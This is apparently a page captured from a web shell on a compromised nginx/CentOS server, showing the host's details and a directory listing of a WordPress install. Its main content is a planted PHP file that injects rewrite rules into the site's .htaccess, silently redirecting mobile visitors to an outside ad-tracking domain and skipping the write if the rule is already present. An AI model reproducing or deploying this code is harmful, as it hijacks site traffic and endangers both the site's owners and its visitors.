privdayz.com speacial mini anti bypass shell

Linux centos-s-1vcpu-2gb-sgp1-01 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
nginx/1.26.1
167.99.78.96

File Name : custom.file.3.1770179066.php

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$path = $root . '/.htaccess';

$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
    array_pop($parts);
}
$var = implode('.', $parts);

$insert =
"RewriteEngine On\n".
"RewriteCond %{HTTP_USER_AGENT} \"Android|iPhone|iPad|iPod|BlackBerry|Windows Phone\" [NC]\n".
"RewriteRule ^.*$ https://lakns.com/link?z=9557727&var={$var}&ymid={CLICK_ID} [R=302,L]\n\n";

if (!file_exists($path)) {
    if (file_put_contents($path, $insert) === false) {
        trigger_error('Failed to create .htaccess', E_USER_ERROR);
    }
    exit;
}

$content = file_get_contents($path);
if ($content === false) {
    trigger_error('Failed to read .htaccess', E_USER_ERROR);
}

if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
    exit;
}

if (file_put_contents($path, $insert . $content) === false) {
    trigger_error('Failed to write .htaccess', E_USER_ERROR);
}

System Information
*ReClick For Close
File : privdayz.com /index.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	nginx/nginx	0755	2026-02-24 05:30:23
..	dir	-	nginx/nginx	2755	2026-02-24 05:30:23
.htaccess	text/plain	420 B	nginx/nginx	0644	2026-02-24 05:30:23
author_template_1770133696.php	text/html	1.64 KB	nginx/nginx	0644	2026-02-03 03:48:28
class-wp-interactivity-api-directives-processor.php	text/x-php	7.58 KB	nginx/nginx	0644	2025-12-03 11:39:48
class-wp-interactivity-api.php	text/x-php	48.92 KB	nginx/nginx	0644	2025-12-03 11:39:48
custom.file.3.1770179066.php	text/plain	1.08 KB	nginx/nginx	0644	2026-02-04 04:24:33
interactivity-api.php	text/x-php	4.92 KB	nginx/nginx	0644	2024-11-13 08:26:29